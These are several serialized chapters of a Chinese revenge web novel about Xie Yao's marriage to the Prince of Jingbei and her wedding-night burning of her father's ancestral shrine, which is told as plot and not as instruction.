“朕已经让张庆才那个奴才,带上圣旨,与何裕一起去文昌伯府,册封靖北王妃之母许氏为二品诰命夫人,赏东珠十二颗,云锦二十匹,黄金百两,皆是给她个人的。” 那日箫熠之,没管文昌伯,而是替文昌伯夫人许氏,求了一个诰命恩典,并且特意说,只给许氏个人。 皇上当然乐意应允。 箫熠之这才垂眸:“臣多谢皇上厚爱。” 之前那些聘礼,代表萧家对谢窈的看重,和王府的体面。 替她母亲求诰命,则是他个人给她的“聘礼”。 花轿内,谢窈微微失神。 二品诰命夫人,不是一般的殊荣。 此前母亲身上并无诰命,谢明安也不可能给她求。 而谢老夫人身为伯爵之母,只是三品诰命夫人,就敢时不时身穿翟衣,在京中贵夫人里倚老卖老,耀武扬威。 这章没有结束,请点击下一页继续阅读!现在,母亲的品阶要胜过谢老夫人,已成了伯府最为尊贵的女子,再也没人敢置喙她是“泥塑的伯夫人”。 从今往后,就是母亲将孙姨娘等伯府妾室,全都发卖了去,也没人敢说一个不字。 透过车帘的缝隙,谢窈望着箫熠之俊美如斯的侧脸,心中感激。 不过,想到自己今晚的安排,她又蹙了蹙眉。 皇上派了何大人和庆公公去文昌伯府传旨,势必会留在伯府吃席。 不知这件事,会对自己的计划,产生什么影响。 皇上对旁边的苏怀恩道:“苏将军,就由你带这三百禁军,做靖北王大婚的仪仗,再替朕,去靖北王府讨一杯喜酒喝吧。” “末将遵旨。”苏怀恩下了马,朗声道。 待龙辇离开,他走到花轿旁。 趁人不备,苏怀恩对轿帘压低声音:“是王爷在皇上面前提了末将,末将今日才能领禁军前来。” 谢窈内心一动,看来,箫熠之果然猜到了什么。 苏怀恩又清了清嗓子,郑重地开口:“末将,祝少将军新婚大喜。” 她在轿内应道:“老苏,你过会儿可要多喝几杯。” “末将不光自己要喝,还要替大将军和边军其他将领喝,今晚,一定不醉不归。” 苏怀恩咧嘴一笑,摸了摸自己腰间,他妻子亲缝,今日特意系的喜庆香囊,勒马归了队。 他喝到了少将军的喜酒,这件事要是让北境边军那帮人知道,肯定羡慕死自己了。 他又遥望北境方向,喃喃道:少将军今日大婚,大将军也一定会为她高兴吧! 箫熠之故意离远一些,方便他们二人说话。 见苏怀恩笑着离开,他也不由自主地勾起唇角。 三百禁军和几百王府亲卫,护着花轿和十里红妆,继续行去。 前面,就是靖北王府。 街边的小轿里,谢枝掀开轿帘一角。 那耀眼的仪仗刺痛她的双眼,让她恨得咬紧牙关,面色越发难看。 “小姐,前面就是侯府给您备的宅院了。”轿夫的声音传来。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第125章 丫鬟翻身做姨娘,大婚礼成 轿子落下来,轿夫声音,透着几分敷衍。 谢枝掀开帘子,定睛一望,发现这是东西街交汇的雀草巷。 她平时与其他姐妹逛街都不去雀草巷,巷头住着她曾经最看不上的陆慎言一家,而轿子此刻,停在了巷尾。 “姑娘,咱们进去吧。”一个陌生小丫鬟将她扶了下来。 谢枝咬着牙走上前,却倒吸一口凉气。 什么侯府别院,不过是座三进小院,门楣陈旧,门环斑驳,今天无论如何也是她的好日子,门上,竟连个像样的喜庆灯笼都没挂。 与方才遥遥望见的,谢窈那十里红妆的大婚相比,还不如她在伯府住的院子! “这是人住的地方?!” 谢枝猛地推开丫鬟,声音陡然尖厉。 “凭什么,谢窈能风风光光嫁进王府,能让皇上做迎亲礼官,还让许氏做了诰命,我呢,我谢枝凭什么要住这种地方!” 说着,她眼中的恨意滔天,整张浓妆的脸都扭曲起来,显得狰狞可怖。 “我不要做外室,侯爷答应了让我做侧夫人,我绝不做外室!” 她原本已经认命,但此刻,又后知后觉地闹了起来。 旁边的丫鬟望着她的脸,不敢靠近。 就在这时,小院的门从内打开。 一个身穿藕荷色绫罗衣裙,珠翠环绕的女子,出现在门口,身后跟着两个身体健壮的嬷嬷。 谢枝看清女子面容,瞳孔骤缩:“柳蔓儿?你这个贱婢怎么会在这里!” 蔓儿曾是她的心腹丫鬟,却在成佛寺趁着安平侯中药,爬上了侯爷的床。 后来被送回伯府路上,皇上身边的庆公公忽然派人,说蔓儿已经成了安平侯的人,而安平侯乃李氏皇族,这个丫鬟不该再留在伯府,就领走了她。 而此刻,这贱人竟然出现在这里! “啪!” 没等谢枝回过神,蔓儿一巴掌,快狠准地落在她脸上。 “不想做外室?”她嗤笑一声,打得谢枝脸颊瞬间红肿。 “那大小姐就回伯府求伯爷啊,看看伯爷,还要不要你这个败坏门风的庶女。” 谢枝被打懵了,随即疯了般扑上去:“贱人,你敢打我,以下犯上的贱婢!” 蔓儿侧身避开,招呼着身后的嬷嬷按住她。 “哦,奴婢忘了,您已经不是大小姐了,而是侯爷养的一个外室,连你那个做妾的娘都不如。” 谢枝被按在地上,头发散乱地尖叫:“侯爷答应了让我做侧夫人,你敢动我,我要杀了你!” 旁边跟着送亲的两个伯府丫鬟想阻止,却被蔓儿阴沉一瞪,不敢上前。 蔓儿蹲下来,嗤笑道:“忘了告诉你,我现在是侯府的柳姨娘了,正经被侯爷纳进府的妾室,你呢,一个外室,在这里嚎叫什么?” 谢枝挣扎起来,目眦欲裂:“放开我,我不进去,我要见侯爷,侯爷不会这么对我的,他说过,他最喜欢我穿红衣,他说我以后就是侧夫人!” “都因为你,侯爷被那谢窈当众羞辱,受了重伤,还被太后责罚,要闭门思过一个月!侯爷给你谢家两所豪宅,又置了这处宅院,让本姨娘迎你,已是给了你面子,你还敢叫。” 柳姨娘说着,语气不耐地挥手。 “拖进去,安分守己便罢了,若再敢发疯,侯爷不在,我便替侯爷,让你见见侯府的家法。” 如今的安平侯府,太后不许侯夫人与侯爷和离,教训了侯爷。 伤筋动骨一百天,侯爷得养伤,侯夫人则不再管侯府之事,她便做为妾室,主动请命,来安置谢枝这个外室。 昔日作为谢枝丫鬟,为奴为婢得到的羞辱,她都要讨回来! 两个嬷嬷架起谢枝,捂住她咒骂声不休的嘴,将她拖进了宅院里。 黄昏之时,阴阳割分晓。 夕阳缱绻起漫天霞光,谢窈的花轿,也到了靖北王府门口。 花轿落地,她却扇不动,而后被忍冬和一名王府侍女,一左一右扶下来。 谢窈低头看自己脚下,她注意到,王府正门没有门槛。 另一边,箫熠之下了马,被白术小心翼翼扶到轮椅上。 红色喜服衬得他眉眼间的冷冽淡了些许,更多几分人气。 因他坐在轮椅上,仍旧带着森然威严,周围喜庆的鼓乐声好像都变得克制了。 箫熠之不动声色地仰头,见到天际的红霞如焰,甚是明艳。 这是个好兆头,他的唇角又微微上扬,指腹摩挲着香囊里那枚喜钱。 谢窈被忍冬搀扶跨过火盆后,有人递来一条红绸。 她单手持扇,拉住一端,箫熠之拉着另一端,两人一前一后,来到堂前。 坐在首位的,是箫熠之的祖母,王府萧老夫人。 萧老夫人笑道:“好孩子,一路辛苦了,今日起就是一家人,和和美美的过日子。” 旁边坐着箫熠之的三叔,萧家三爷萧正肃和三叔母,萧家三爷后面站着他一家子,儿子儿媳等人。 萧家三爷眼神带着审视,三叔母则满脸堆笑,道:“老夫人说的是,窈窈这孩子,瞧着就是个好姑娘,与熠之是天造地设的一对。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!旁边,还立着一个六七岁,粉雕玉琢的小女孩,脆生生地喊:“阿嵘有婶婶了,婶婶好漂亮呀。” 那是萧家三爷唯一的嫡孙女,萧岁嵘。 正说着,吉时到了。 靖北王坐在轮椅上,被推到谢窈身边。 新郎坐轮椅拜堂,这情景,便是话本子里也是极少写的。 谢窈不知其他人如何看待箫熠之,却发觉周围静了许多。 靖北王双腿残疾,更让这些观礼的宾客亲戚,还有各路官员不敢乱说话。 “一拜天地!” “二拜高堂!” 两人牵着红绸,拜了天地君亲之后,是夫妻对拜。 “夫妻对拜!” 谢窈听见这四个字,心跳的有些快。 她正要拜下,视线无意间扫过箫熠之的腰间——那里,系着个藏青绣仙鹤紫竹香囊。 时下京中男女流行佩戴香囊,但她不擅绣工,只绣了几针就放弃了。 她曾求靖北王,给她外祖父绣个仙鹤的,再给母亲绣个萱草的。 后来箫熠之给了她萱草和青松香囊,说是仙鹤被绣坏了。 而此刻,这枚香囊,被他在大婚这日,系在了腰间。 许是众人过于敬畏靖北王,谢窈忽然觉得四周过于寂静,都能听见自己心跳的声音。 她压下情绪,定了定神,从容地弯腰,完成最后一拜。 “礼成,送入洞房——” 起身的刹那,箫熠之忽然用仅二人能听见的声音道:“不必坐等本王却扇。” 谢窈的扇子微微一侧,他顿时看清了她半张脸,妆容昳丽,朱唇明艳,那双墨玉似的剔透双眸,似乎藏着燃烧的野火。 她对着他,微不可察地点了点头,便在一众奴仆们簇拥下,到了后院。 红绸铺地,谢窈被送入婚房。 她端坐在喜床上,让其他人先退下,只留下忍冬。 忍冬跟着她进了屋,反手合上门。 屋内安静下来,谢窈才将团扇放到一旁。 大婚礼成,但这一夜,与她来说,才刚刚开始。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第126章 大婚之夜,重回祠堂 忍冬见二小姐放下了扇子,连忙道:“小姐,还得等王爷来行却扇之礼。” “不必,你出去一趟,将母亲给我准备的那个红漆箱子取来。”谢窈神情平静,淡淡地说。 她耳边还回响着拜堂时,箫熠之的话。 他特意对自己说:“不必坐等本王却扇。” 忍冬出去后,谢窈抬眸环视四周,眼神凛然。 婚房布置得极尽喜庆,火红的帐幔从屋顶垂落,绣着鸳鸯吉祥纹样,炭火适宜,四周燃着明亮喜烛,将满室映得暖融融的。 玉炉燃香,柔和袅袅,一切都那样好,让人心生眷恋。 不到片刻,忍冬抱着箱子回来,上面还多了一个木盘。 她将木盘放到谢窈面前,道:“方才奴婢路上遇见小白侍卫,他说这是王爷让送来的衣裳,王爷吩咐,您在婚房等着,要是觉得冷,就披上。” 白侍卫是白术,小白侍卫则是白蔹。 谢窈内心微动,却刻意忽略这件衣服。 她将嫁妆箱子打开,里面,是大婚前夜母亲交给她的田产地契,半箱东珠散发着柔和光泽。 谢窈将这个箱子,放到婚房那张铺着大红锦被的床正中。 这是她嫁妆里最值钱的东西了,希望箫熠之看到后,原谅她今晚的举动吧。 谢窈又问:“外面如何?” 忍冬道:“花团锦簇,甚是热闹,王府摆了有上百张席面,怕是要忙到后半夜。” 今日,满朝文武,除去谢家那边的,几乎都来了王府。 丞相江家来了安平侯夫人的父亲江尚书一家,将门秦家是王爷母亲靖宁夫人的母家,来的是王爷的舅舅与舅母。 将门苏家,是虎贲将军苏怀恩,携着他妹妹苏檀前来。 还有萧家二姑奶奶嫁去的杜家,连太后和长公主,也分别派人前来见礼。 按照习俗,大婚之夜的新郎,肯定是要喝酒的。 但众人不敢给坐在轮椅上的靖北王灌酒,于是,喝酒的事,就落在了萧家三爷的两个儿子,也就是靖北王的堂兄堂弟,萧文远和萧兰舟身上。 “既然王府如此热闹,想必伯府,也不相上下。” 谢窈说着,红唇嗤笑,轻轻解开一颗嫁衣的盘扣。 没等忍冬惊讶,她正色开口:“忍冬,从现在起,你守在婚房外,除非靖北王本人前来,否则,在我回来之前,不要让任何人知道,我不在屋内。” 忍冬:“小姐不在屋内?” 这嫁衣颇有些繁琐,厚重的裙摆被谢窈认真脱下,整齐叠好,放到一旁。 随即,她又要摘凤冠。 凤冠和那些发饰,是王府派出的妆娘,足足花费两个时辰做的,比嫁衣还要复杂。 谢二小姐拆着拆着,手忙脚乱,明艳昳丽的脸上露出几分窘迫。 前世,她从未受到过这样悉心认真的对待,也没有梳过这样华丽漂亮的头发。 忍冬虽然不知谢窈要做什么,但还是上前,主动帮她摘凤冠上的金簪凤钗。 终于,谢窈只剩下一身中衣,乌发如云,她用一根发带便可以固定。 中衣也是绯红颜色,谢窈起身,看向忍冬刚才拿进来的木盘。 木盘上,放着一件玄色斗篷,貂毛镶边,绣着云锦暗纹,摸起来柔软顺滑。 她只犹豫了片刻,就穿上斗篷,走到窗边,推开一条缝。 祝贺与行酒令的声音传进来,隔着几重院落,都能感受到外面的喧嚣。 “小姐放心,奴婢一定守好这里。”忍冬望着她,虽然心中紧张,但还是认真地说。 谢窈点头,便彻底推开窗,身形灵巧地翻了出去。 起身时,她发现这件斗篷有些大,只好从腰间拔出短匕。 “刺啦”一声,斗篷下摆被裁短几寸。 夜色是最好的掩护,谢窈避开王府巡逻的护卫,几个起落便消失在墙影里。 半个时辰后,文昌伯府高墙外,谢窈借着一棵老树,翻了进去。 伯府内果然热闹,前厅方向灯火通明,丝竹管弦声音不绝于耳。 谢窈冷笑一声,白天孙家人来闹事,连带着之前谢枝在成佛寺做的事传遍京城,转头,谢家众人还是摆酒设宴,借她的大婚招揽宾客,果然是脸比城墙还厚。 说不定,箫熠之替母亲求来的诰命夫人,也会被谢明安利用,让前来的宾客觉得谢家圣眷正隆。 果不其然,谢窈刚走到马厩,就发现宫里庆公公的马车,还有礼部尚书何大人家里的车架。 想来是庆公公与何裕前来宣旨,册封母亲为二品诰命夫人之后,就被留了下来。 既然庆公公在,更方便了她之后的计划。 路过谢明安书斋时,谢窈看了一眼。 往日被守得密不透风的书斋,今晚只剩下两个书童。 前院的宴席太忙,连护院都被调到前面伺候。 她脚步没停,径直往后宅最深处的谢家祠堂而去。 越靠近祠堂,周遭越寂静。 很快,谢窈来到祠堂,推开门。 里面长明灯熄灭着,未点烛火,近乎漆黑一片。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!只剩今晚月凉如水,明亮柔和,静默地注视着人间。 谢窈漠然地站在月色里,斗篷上流转着银晖,身后是狭长的影子,面前是一排排谢家祖宗牌位。 久违了,谢家祠堂! 她毫无惧意,目光扫过这些死物,看见最前排那块写着老伯爷名讳的牌位,眼神更冷了几分。 这是在她五岁时,就因病去世的老伯爷,她的祖父。 老伯爷在世时,看向母亲的眼神,总是阴沉厌恶,言语间更是充满嫌弃。 “一个满身铜臭的商贾之女,若不是明安喜欢,也配进我谢家的大门?” “还未出阁,便珠胎暗结,这样不知廉耻的女子,生出的女儿也顽劣不堪,真是家门不幸……” 因为她幼时顽皮,被老伯爷罚跪祠堂,是家常便饭。 老伯爷的态度,更助长了谢明安对母亲的轻视。 “小姐。”角落里,七两走出来。 他在小姐上花轿之前,接到小姐的眼神,早已等候多时。 谢窈问:“都备好了?” “是,东西都在这儿。” 七两与她一起走到供桌旁,挪开一个常年放香火的木箱,掀开盖子。 里面满满当当都是桐油,火油,还有十数斤的松脂。 这些,就是谢窈给七两单子上的东西,之前一直藏在他屋子的床下。 桐油松脂等物价格昂贵,寻常人家也会用到,但用不上那么多,若一次购入过多引火的东西,不止事后容易被查出,还会引起官府注意。 所以,谢窈给了七两足够的银钱后,七两是借外出采买的机会,攒好几次才买齐的。 他心跳如雷,咽了咽唾沫,狠下心道:“小姐,还是我来吧,您身份高贵,不——” 七两还没说完,谢窈忽然抬起手。 她警惕地回头,声音冷冽:“谁?” 月光倾洒,落到坐着轮椅的箫熠之身上。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第127章 不求先祖,不问鬼神! 谢窈转过头,就见箫熠之坐在轮椅上,由白蔹推着,出现在祠堂门口。 他还穿着那身鲜艳喜袍,与森然的祠堂格格不入。 月明如霜,衬得他本就有些苍白的面庞,更加冷峻寒凉。 谢窈错愕地蹙起眉,没想到,本该大婚之夜,在王府接待宾客的靖北王,会出现在这里。 她是翻墙潜进来的,可他坐在轮椅上,又是怎么来的? 七两这才看见来人,吃惊地瞪大双眼,咬了咬牙,挡到谢窈面前。 他虽然怕得小腿都在颤抖,但还是战战兢兢地问:“王爷,不是在王府吗……怎么来了?” 七两问出了谢窈想问的问题。 白蔹咧嘴一笑,脸颊笑出酒窝,道:“你觉得,有人敢给王爷灌酒?” 靖北王深邃如墨的桃花眸微眯,眼底并没有什么寒意,不紧不慢地开口:“这大燕,没有本王不能来的地方。” 随即,他又反问:“没有哪条礼法,不许本王来自己的亲家府上,也没有规矩说,不让王妃在新婚之夜,回自家祠堂,是不是?” 谢窈尴尬地笑了笑,心想王爷将他和自己,说得可真是冠冕堂皇,她都要信了,好像她是大婚之夜放着洞房花烛不待,跑到祠堂给祖宗敬香的。 七两迟疑起来,听到这话,他意识到王爷似乎并不生气,但他还是十分紧张。 “没事,”谢窈看出他的情绪,语气平和,“你先出去,守在外面,注意前院有没有异动。” 七两看了眼轮椅上的王爷,最终还是依言退了出去。 见谢二小姐的手下离开,白蔹脑袋里闪过一道精光,平日里大哥,以及其他人的教导忽然奏效,他终于有了眼力见,抱拳后退,道:“那属下也先下去了。” 箫熠之没什么意见。 他正要对谢窈说话,下一刻,白蔹去而复返,顺便点上一根蜡烛,闷闷地重新立回他身后。 箫熠之歪头看他,面无表情的脸上露出一丝困惑。 白蔹解释:“不行,谢二小姐会武功,属下得保护王爷安全。” 箫熠之为自己今晚,选择带他出来,而不是白术,感到深深的后悔。 祠堂内只有三人,烛火微光,映着箫熠之俊美的侧脸,有了蛊惑的意味。 谢窈刻意不去看他腰间那枚香囊,主动开口:“王爷是来做什么的?” 箫熠之挑了挑眉,道:“王妃想给本王展示财力,大可亲自出面,何必要将一个箱子,放在喜床上呢。” 谢窈一怔,反应过来,看来箫熠之已经进入婚房,看见了自己留在床上的箱子。 “那些,是我向王爷赔罪的一点心意。”她说。 “本王不缺钱财。” 箫熠之摇了摇头,视线落在谢窈身上。 她没有穿嫁衣,但仍旧是大婚之时的妆容,卸去钗环的乌发用发带束着,眉目如画,在昏暗的夜色里潋滟生光。 谢窈穿的,是自己的斗篷。 确定这一点后的箫熠之,眼神更加深邃。 见斗篷下摆被割短了些许,他勾起唇角,忽然换了一副神情,叹道:“赔罪?王妃是因为损坏了本王最爱的斗篷,才拿出那些钱财,哄本王高兴吗。” 王爷话语透着几分玩味怪罪,谢窈却像个不解风情的呆木将军似的,迎着他的视线,再次问道:“王爷早就知道我会来?” “本王猜的。”箫熠之咳了咳,无奈摇头。 之前,他就猜到谢窈会在大婚之日行动,只是不清楚她具体要做什么。 他提前派了白术到伯府,还说有任何事,都可以吩咐白术去做。 一直到礼成,谢窈都没有动作,他却并不认为,她会放弃。 只是,看来王妃并不信任自己。 这样也好,女子处世,还是聪慧警惕些,才不会被人欺骗。 箫熠之目光扫过谢窈身后那些谢家先祖牌位:“早就听闻,文昌伯身为礼部侍郎,最擅司礼,没想到谢家的祠堂,竟然如此冷清。” 就算今晚前厅有宴席,做为祖宗祠堂,也不该连盏长明灯都不点。 谢窈垂眸,声调平静:“很快,就不冷清了。” 箫熠之没有懂她这句话的意思,就见她从身后的木箱里,拿起一罐东西,走到牌位前。 他蓦地闻到一股熟悉的刺鼻味道,内心一震。 这是火油! 谢窈比他想象中的手笔,还要大。 谢窈手腕一斜,罐中火油便泼洒出去,溅在谢家列祖列宗的牌位上。 随即,她又取出箱内其他助燃的东西,一个个往整个祠堂泼洒。 “谢窈,你要烧祠堂?” 箫熠之明白了她要做什么,语气加重几分。 他眉头皱起,眼底闪过一丝担心,沉声道:“这是你谢家的祠堂,你真的要行此不敬祖宗,大逆不道之举?” 白蔹更是彻底懵了,他当然也能辩出,谢二小姐往谢家祠堂洒的是什么。 可正如王爷所说,这是大逆不道的行为,听闻谢二小姐被文昌伯不喜,在谢家处境艰难,即便如此,她要是烧了祠堂,死后该如何面对自家的列祖列宗? 何况今日,是她和王爷大喜的日子,祠堂被毁,很不吉利。 谢窈没有回头,手中匕首狠狠挥动,寒光闪过,谢老伯爷的牌位,应声劈成两半! “祖宗庇后人,后人才敬祖宗,若他们生前磋磨轻贱家人,死后只享受香火,高高在上,凭什么要后人敬重?” 她抬眸看向箫熠之,一字一顿地说。 她的眼神,带着焚尽一切的滔天恨意。 若先祖有灵,保佑后人,怎不见他们庇佑前世的自己和母亲? 如果他们的庇佑也分高低贵贱,三六九等,也像谢老伯爷一样看重身份,欺软怕硬,那她,从此不求先祖,不问鬼神,照斩不误! 箫熠之瞳孔微缩,他见过太多阴谋算计,却从未见过这样彻底的决裂。 世上竟然有谢窈这样的女子,恨得浓烈,决然。 谢窈眼中的恨意太浓,仿佛透着玉石俱焚的深沉,让他又内心一紧。 箫熠之桃花眸微敛,随即抬起头,调整好心绪,重新凝视她。 他拍了拍自己的轮椅扶手,语气缓和,脸上还露出几分可怜神色,让白蔹又呆住了。 “王妃心善,总不能眼睁睁看着本王这样双腿不便的残疾人,葬身火海吧?” 他的话半是试探,半是怕她要和这破祠堂同归于尽。 谢窈继续用匕首,劈着祠堂内几个木箱,这些箱子被拆成木头,起火后,火势蔓延的才更快。 她动作未停:“王爷若是担心,自行离开便好。” 至于箫熠之说的,她心善,那是她平时常说的一句话,通常后面还会跟一句:你是不是瞧不起我。 一般真正心善的人,不会将自己心善,挂在嘴边。 “那可不行。” 箫熠之微微倾身,目光落在她紧攥着匕首的手上,指尖苍白,显然用了力。 他温和地笑了笑,重复之前的话:“王妃心善,总不能让本王眼睁睁在新婚之夜,看着自己的王妃葬身火海吧。” 白蔹下意识跟了一句:“是啊,谢二小姐要是死了,王爷岂不是又成了孤家寡人。” 箫熠之:“……” 他沉默了半晌,没有说话。 谢窈望向箫熠之眼底,这才明白他是什么意思。 他以为,自己要跟这些没用的木牌一起死。 谢窈压下心中异样,紧绷的面容柔和下来,道:“王爷过虑了,我没想死。” 第128章 火烧祠堂!他递刀,再添火! 谢窈继续劈地上的碎木箱,语气缓和了些:“我要做的,是另一件事。” 顿了顿,她又轻声道:“他欠母亲的,不会因为一间祠堂被毁,就能轻易还清。” 说完,谢窈自己都有些意外,她竟然会对箫熠之吐露这句心里话。 好像在这个男人面前,她总是不必伪装。 原来如此,箫熠之看着她,心头骤然一松,紧皱的眉头舒展开来。 他刚才看出谢窈眼里的恨意,竟以为她会和这座祠堂同归于尽。 实际上,她是要将水搅浑,让谢家乱起来,向她恨的人复仇。 箫熠之见惯了戴着虚伪面具的人,这样爱恨分明,桀骜不驯,如野火般热烈燃烧的女子,让他沉寂的心,泛起热意。 箫熠之忽然侧身,抽出白蔹腰间的佩刀,一只手,交到谢窈面前。 “用刀劈,更省力些。” 谢窈只是稍作犹豫,就像她穿上箫熠之的斗篷那样,从容接过他递来的刀。 “咔——” 谢窈刀刃挥砍,动作干脆利落,很快,就将供桌也劈成一堆木柴。 “牌位这东西,不过是摆给活人看的体面。” 箫熠之望着她的身影,桃花眸愈发凛冽,又吩咐。 “去,帮王妃添一把火。” 白蔹目瞪口呆:“我?王爷?这里可是谢家祠堂,烧了它,传出去……” “本王说,去。”箫熠之的声音冷下来,语气恢复平时的低沉幽冷。 白蔹默默上前,想到自己接下来要做的事,他本来是有点紧张,但见到谢二小姐行为举止如此淡定,他心里忽然升起几分亢奋。 他拿起一罐火油,跟在谢窈身后,往梁柱和牌位上泼洒。 火油有些刺鼻的味道,混合着祠堂内经年累月的香火气息,蔓延开来。 解决完谢二小姐手里所有助燃的东西,他才归位。 谢窈将长刀扔还给白蔹,看向箫熠之:“多谢王爷。” 箫熠之看着她烛火与月色下明亮锐利的眼睛,唇角勾起一抹好看的弧度,笑而不语。 轮椅被推出祠堂,王爷让白蔹停下来。 他和谢窈对视,一字一顿:“本王在家中等你,王妃,玩得尽兴。” 箫熠之没有问谢窈为何非要这么做,也没有追问她恨意的缘由,只是递了刀,添了火,陪在她身边。 谢窈掏出火折子,望着满堂狼藉。 七两走进来,脸色扭曲犹豫,但还是选择开口:“小姐,要不还是让小的来吧。” 这毕竟,是谢家的祠堂。 谢窈:“去外面喊,说祠堂着火了。” 下一刻,她扬起手,将火折子扔到浸透了桐油的蒲团上。 早在她回京第一天,被谢明安罚跪祠堂时,她就想这么做了! “轰——” 火焰瞬间腾起,迅速蔓延,遍布火油,桐油等易燃物的木质祠堂,一眨眼,就被熊熊烈火吞噬。 谢窈退出祠堂,冲天的火光映在她脸上。 火,是没有影子的。 她回想起前尘往事,眼底明明灭灭,翻涌着暗影。 箫熠之坐在谢窈身侧,与她一同见证这场大火,火光将他冷若冰霜的面容染上暖意,他的唇角,扬起一抹笑。 今晚,是他和谢窈的大婚之夜。 王妃如此生猛,他甚是惊讶。 就将这漫天大火,当做为他们祝贺的红霞吧。 与此同时,七两跑到外面,大喊起来。 “着火了,快来人啊,祠堂着火了!” 白蔹推着箫熠之离开,谢窈则最后看了眼那些大火中化为焦炭的牌位,身影一闪,往谢明安书斋方向而去。 谢家要乱了,她要趁机,做另一件事。 不出片刻,七两的声音就惊来许多下人。 大火顷刻冲破屋顶,前院,听到动静之后,大婚的宴席戛然而止。 宾客们站起来,全都跑到外面往谢家后宅看,还有胆小些的客人,起身时带着桌上酒杯菜碟摔了一地,各种尖叫声混着窃窃私语的议论,场面十分混乱。 “伯爷,是祠堂着火了!” 伯府的护院首领蒋四带着一队人,急匆匆赶来,满头大汗。 “既然已经知道着火,还不把所有家丁护院都调过去,快去救火!”谢明安拍案而起。 蒋四惊慌失措,语无伦次:“可,可祠堂里面,都是先祖牌位啊!” 谢明安脸色沉了沉,什么祖宗牌位,并不重要,他在意的是若真起了一场大火,他今日借谢窈成亲赚回的脸面,就又丢尽了! “大哥,这祠堂好端端的,怎么会着火呢,莫不是有人打翻了香炉?” 谢家二爷凑上来,脸上挂满担忧,眼底却有些幸灾乐祸。 二房夫人道:“是啊大哥,今天可是窈儿与靖北王大喜的日子,这时候着火,怕是不祥——” “住嘴!” 谢明安心烦意乱,懒得理他们,只是死死地盯着后宅的火光,心头突突直跳。 “伯爷稍安勿躁,诸位也不必惊慌,”礼部尚书何裕上前一步,微胖的圆脸正色道,“当务之急是赶快救火,不让火势扩大,若是可以,还是将祖宗牌位抢救出来。” 旁边,庆公公挑了挑眉,负在身后的右手食指蜷缩成弓字形,拇指伸直,不动声色地发号施令。 这是早年靖北王根据军中军阵旗帜调令,发明的御鹰司手势调令,这个手势的意思是:迂回探查。 发出手势之后,他周围,几个打扮成寻常宾客或仆从的御鹰司探子,悄无声息地消失在前厅,跟到救火的护院们身后。 “何大人说的是,伯爷不必着急,依奴才看,这火势虽大,未必救不下来。”庆公公也说。 谢明安听到他的话,猛地想起什么。 谢枝在成佛寺做出丑事,他算计谢窈的马车也被张庆才扣下,恐怕,皇上对他和太后的关系,已经有所察觉。 这张庆才掌管着御鹰司,就是皇上的眼睛,今晚与何裕一起来宣旨,被他两三句话就留下用了喜宴,本就让他警惕。 现在后宅又莫名起了火,还是象征谢家脸面的祖宗祠堂…… 这火,该不会是皇上授意的? 是啊!除了御鹰司,还有什么人能潜入伯府,这般悄无声息地放火?还不担心时候被他追查发现? 此前王管事,不也是被御鹰司吓破了胆,被他灭了口吗。 谢明安越想越后怕,虽然还没有任何证据,但他后背已经被冷汗浸湿。 他偷偷瞥了一眼庆公公,见对方平静地负手而立,仿佛周遭一切都与其无关。 谢明安心中疑窦更重了,他唤来朱嬷嬷,低声道:“你去祠堂仔细看看,查出起火的原因,不要声张,到书斋回禀本伯。” “老奴明白。” 待朱嬷嬷离开,谢老夫人被丫鬟搀扶着出来,和几个族中耆老站在一起,望着远处。 后宅的火光越来越旺,将夜色都映亮了几分。 她想到亡夫谢老伯爷的牌位还在祠堂里,不禁哭嚎起来:“造孽啊,好好的祠堂,怎么就烧起来了?这不是个好兆头,这不吉利啊!” 第129章 探渣爹密室,竟有镇魂香 听到谢老夫人的话,旁边谢明安的族叔也叹道:“是啊,仲成的牌位还在里面……” 谢老伯爷本名谢仲成,是这名族叔的兄长。 谢明安闻言,脸色骤然一沉。 自己母亲和族叔真是哪壶不开提哪壶,当着这么多宾客,尤其是张庆才和何裕的面说这种话,不是在暗指他不孝吗。 何况,那么多祖宗牌位都在祠堂,偏要提谢仲成那老不死的。 他拧起眉头,道:“母亲怕是之前落水,身子还未大好,开始胡言乱语了。” “来人,扶老夫人回房休息,找大夫来看!还有族叔年纪大了,也该好好回房休息。” “我……” 谢老夫人还想争辩,又想起谢老伯爷,叹了口气。 她那亡夫倒也不是什么值得怀念的好人,昏庸好色,除了承袭伯爵之位,一辈子只是个五品小官,但比起儿子,至少…… 谢老夫人紧张地瞥了眼谢明安,就被两个婆子搀扶着拉走。 族叔更是麻利地离开。 谢二爷疏散着宾客,谢明安则整了整衣襟,与何大人和庆公公等人,一起来到后宅。 一众护院在蒋四带领下,来回打水,提着水桶奋力泼洒,但火势没有任何减弱。 谢明安转身面对众人,脸上已经换上痛心疾首的神情:“列祖列宗在上,是明安不孝,没能护住祠堂……是明安不孝啊!” 说着,他眼眶竟然红了,对着熊熊大火就要跪下。 何大人赶紧扶住他:“明安老弟节哀,当务之急是救火,切莫伤了身子。” 谢明安顺势起身,抹了把脸,声音哽咽:“身为礼部侍郎,本伯连自家祖宗祠堂都保不住,我真是愧对朝廷,愧对先祖。” 他边痛呼,边指挥护院灭火,一副恨不得扑进火里的模样。 实际上,谢明安余光一直盯着静默在旁边的庆公公。 庆公公仍旧云淡风轻的模样,让谢明安心中寒意更甚。 一定是皇上借着庆公公的手敲打他,皇上猜出了他是太后党羽,特意在他们谢家和萧家结亲这日,烧毁他家祠堂,以作警告! 谢明安不敢露出丝毫怀疑,只能装作痛心疾首的模样,继续在祠堂外呼天喊地。 而此时,谢窈早已避开所有人,来到谢明安平时严防死守的书斋院落。 外面越乱,她就越容易下手。 平时在书斋外的十几名巡逻不休的护院,此刻一个都不在,连此前守在门口的两个书童,都被调去救火了。 谢窈早就想来谢明安的书斋了,这里看管严密,除了谢明安和他的心腹朱嬷嬷,以及护院首领蒋四,也只有孙姨娘能靠近,连谢二爷都甚少进入,必然藏着秘密。 此前王管事在写供状的时候,交代谢明安曾向老礼部尚书行贿黄金千两,还让他将一尊金眼白玉佛,献给某个贵人。 